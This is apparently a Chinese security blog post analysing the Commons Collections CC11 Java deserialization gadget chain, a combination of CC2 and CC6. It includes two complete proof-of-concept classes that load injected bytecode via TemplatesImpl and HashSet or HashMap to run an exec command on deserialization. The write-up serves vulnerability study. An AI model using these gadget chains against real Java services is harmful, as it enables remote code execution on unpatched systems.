0x00、前言 CC1-7分析完,接着cc11使用比较广泛(优势:使用到字节码加载且cc组件版本在3.1-3.2.1),接着分析下CC11(CC2+CC6的组合变式)。该链我认为跟CCK1链区别不是很大,暂且算在同一个利用链链上面。
0x01、分析 回顾 CC2(TemplatesImpl):
通过反射调用InvokerTransformer
构造方法传递方法名getOutputProperties/newTransformer
。
通过javassist
生成恶意代码的字节码。
通过TemplatesImpl
将字节码转化成类。
将反射InvokerTransformer
对象作为比较器传递入PriorityQueue
优先级队列。
将TemplatesImpl
对象元素添加入PriorityQueue
队列。
在比较器进行元素比较时触发TemplatesImpl
的getOutputProperties/newTransformer
方法,触发漏洞。
CC6:
生成LazyMap
对象,将InvokerTransformer
利用方法串起来的ChainedTransformer
对象传入LazyMap
构造方法。
将LazyMap
对象传入TiedMapEntry
类构造方法,再通过TiedMapEntry.hashCode()
方法去调用TiedMapEntry.getValue()
方法,最后调用到lazyMap.get()
方法。
通过使用hashmap
的put
方法添加元素时调用hash(key)
方法,进而调用key.hashCode()
方法,将TiedMapEntry
对象作为keyput
入hashmap
中,达到调用TiedMapEntry.hashCode()
的目的(hashSet同理,本质上都是调用hashmap)。
cc2和cc6的分析:(就不把相同部分贴进来了分析思路即可)cc2 cc6
分析 cc11使用cc2的字节码再加上cc6的hashset(hashmap同理)进行组合变式,通过hashset的添加值去触发字节码加载达到漏洞效果。
TemplatesImpl
字节码加载部分见cc2分析中写的即可,主要目的是调用newTransformer/getOutputProperties
方法来对字节码加载进行实例化,从而触发漏洞。
cc6利用原理 接着先理一下cc6中后半段得利用
Lazymap
调用decorate
方法对Lazymap
进行实例化对象,同时传递参数Transformer factory
调用构造方法对factory变量进行赋值
然后通过调用lazymap
的get
方法调用factory.transform(key)
方法
Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; Transformer transformerChain = new ChainedTransformer (transformers);
然后将上面的transformerChain
变量传递实例化Lazymap
的factory
,达到调用transformers.transform()
,触发漏洞。
然后就是找到在哪调用的LazyMap.get
方法,cc6中就是通过TiedMapEntry.getValue()
去调用get
方法
接着上一步hashCode
方法调用getValue()
然后通过hashset
调用hashCode
,调用情况如下,将TiedMapEntry
作为key
,调用hashset.add(key)
即可调用key.hashCode()
即TiedMapEntry.hashCode()
触发漏洞
cc11分析 漏洞原理知道了,现在就看cc11中hashset
如何调用到TemplatesImpl
字节码的newTransformer/getOutputProperties
方法
主要变动在链转换器的调用
Constructor cons = Class.forName("org.apache.commons.collections.functors.InvokerTransformer" ).getDeclaredConstructor(String.class);cons.setAccessible(true ); InvokerTransformer invokerTransformer = (InvokerTransformer) cons.newInstance("newTransformer" );
cc11通过反射调用invokerTransformer
对象构造参数,并将newTransformer
方法名传入
然后调用LazyMap调用decorate
方法对Lazymap
进行实例化对象,同时传递参数Transformer factory
(参数即为invokerTransformer
对象),目的调用invokerTransformer.transform()
只需要传递的key为TemplatesImpl
对象,就能调用invokerTransformer.transform(TemplatesImpl)
,即反射调用TemplatesImpl.newTransformer
方法,触发漏洞。
通过TiedMapEntry
调用get方法,其中key参数即为TemplatesImpl
对象目的调用get(TemplatesImpl)
,其中的map
参数即为Lazymap
对象,目的调用Lazymap.get()
方法
因此构造的代码为,后面通过hashset.add
进行触发,为了规避本地触发问题,通过反射修改hashset
表的key
值在cc6中分析提及过。
Constructor cons = Class.forName("org.apache.commons.collections.functors.InvokerTransformer" ).getDeclaredConstructor(String.class); cons.setAccessible(true ); InvokerTransformer invokerTransformer = (InvokerTransformer) cons.newInstance("newTransformer" ); Map map = new HashMap (); Map Lmap= LazyMap.decorate(map,invokerTransformer); TiedMapEntry TM=new TiedMapEntry (Lmap,templates); HashSet hs=new HashSet (1 ); hs.add("any" ); Field hsset = HashSet.class.getDeclaredField("map" ); hsset.setAccessible(true ); HashMap hsmap=(HashMap) hsset.get(hs); Field table = HashMap.class.getDeclaredField("table" ); table.setAccessible(true ); Object[] tablearray = (Object[])table.get(hsmap); Object node = tablearray[0 ]; for (int i=0 ;i<tablearray.length;i++){ if (tablearray[i]==null ){ continue ; } node = tablearray[i]; break ; } Field key = node.getClass().getDeclaredField("key" ); key.setAccessible(true ); key.set(node,TM); private static void setFieldValue (final Object obj, final String fieldName, final Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value);
将TemplatesImpl
字节码部分和反序列化部分加上就得到完整的poc:
cc11-poc(hashset) public class CC11Test { public static void main (String[] args) throws Exception { ClassPool pool2 = ClassPool.getDefault(); CtClass ct = pool2.makeClass("People2" ); ct.setSuperclass(pool2.get(AbstractTranslet.class.getName())); CtConstructor cons2 = ct.makeClassInitializer(); cons2.insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");" ); byte [] bytecode = ct.toBytecode(); byte [][] bytecodes = new byte [][]{bytecode}; TemplatesImpl templates = TemplatesImpl.class.getDeclaredConstructor().newInstance(); setFieldValue(templates, "_bytecodes" , bytecodes); setFieldValue(templates, "_class" , null ); setFieldValue(templates, "_name" , "test" ); setFieldValue(templates, "_tfactory" , TransformerFactoryImpl.class.getDeclaredConstructor().newInstance()); Constructor cons = Class.forName("org.apache.commons.collections.functors.InvokerTransformer" ).getDeclaredConstructor(String.class); cons.setAccessible(true ); InvokerTransformer invokerTransformer = (InvokerTransformer) cons.newInstance("newTransformer" ); Map map = new HashMap (); Map Lmap= LazyMap.decorate(map,invokerTransformer); TiedMapEntry TM=new TiedMapEntry (Lmap,templates); HashSet hs=new HashSet (1 ); hs.add("any" ); Field hsset = HashSet.class.getDeclaredField("map" ); hsset.setAccessible(true ); HashMap hsmap=(HashMap) hsset.get(hs); Field table = HashMap.class.getDeclaredField("table" ); table.setAccessible(true ); Object[] tablearray = (Object[])table.get(hsmap); Object node = tablearray[0 ]; for (int i=0 ;i<tablearray.length;i++){ if (tablearray[i]==null ){ continue ; } node = tablearray[i]; break ; } Field key = node.getClass().getDeclaredField("key" ); key.setAccessible(true ); key.set(node,TM); try { ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream ("cc11payload.ser" )); outputStream.writeObject(hs); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream (new FileInputStream ("cc11payload.ser" )); inputStream.readObject(); inputStream.close(); }catch (Exception e){ e.printStackTrace(); } } private static void setFieldValue (final Object obj, final String fieldName, final Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } }
执行效果:
cc11-poc(hashmap) 同理,hashmap同样能作为反序列化入口(hashset相当于套用了hashmap,可以理解为固定value值的hashmap)
public class CC11Test2 { public static void main (String[] args) throws Exception { ClassPool pool2 = ClassPool.getDefault(); CtClass ct = pool2.makeClass("People2" ); ct.setSuperclass(pool2.get(AbstractTranslet.class.getName())); CtConstructor cons2 = ct.makeClassInitializer(); cons2.insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");" ); byte [] bytecode = ct.toBytecode(); byte [][] bytecodes = new byte [][]{bytecode}; TemplatesImpl templates = TemplatesImpl.class.getDeclaredConstructor().newInstance(); setFieldValue(templates, "_bytecodes" , bytecodes); setFieldValue(templates, "_class" , null ); setFieldValue(templates, "_name" , "test" ); setFieldValue(templates, "_tfactory" , TransformerFactoryImpl.class.getDeclaredConstructor().newInstance()); Constructor cons = Class.forName("org.apache.commons.collections.functors.InvokerTransformer" ).getDeclaredConstructor(String.class); cons.setAccessible(true ); InvokerTransformer invokerTransformer = (InvokerTransformer) cons.newInstance("newTransformer" ); Map map = new HashMap (); Map Lmap= LazyMap.decorate(map,invokerTransformer); TiedMapEntry TM=new TiedMapEntry (Lmap,templates); HashMap hm=new HashMap (1 ); hm.put("any" ,"any" ); Field table = HashMap.class.getDeclaredField("table" ); table.setAccessible(true ); Object[] tablearray = (Object[])table.get(hm); Object node = tablearray[0 ]; for (int i=0 ;i<tablearray.length;i++){ if (tablearray[i]==null ){ continue ; } node = tablearray[i]; break ; } Field key = node.getClass().getDeclaredField("key" ); key.setAccessible(true ); key.set(node,TM); try { ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream ("cc11payload-1.ser" )); outputStream.writeObject(hm); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream (new FileInputStream ("cc11payload-1.ser" )); inputStream.readObject(); inputStream.close(); }catch (Exception e){ e.printStackTrace(); } } private static void setFieldValue (final Object obj, final String fieldName, final Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } }
执行效果:
0x02、总结 cc11很好理解,cc2+cc6的组合变式,将invokerTransformer
利用方向替换为调用newTransformer
方法,依旧使用hashset
(hashmap
同理,cc6中提及)作为反序列化入口,通过TiedMapEntry
传入lazymap
和TemplatesImpl
对象,来达到调用TemplatesImpl.newTransformer
的目的触发漏洞。
cc11也是在cc3.1-3.2.1组件上使用字节码加载的利用链,在之前cc链的字节码加载都是在cc4版本组件上适用,因此cc11链适用范围比前面的利用链跟广。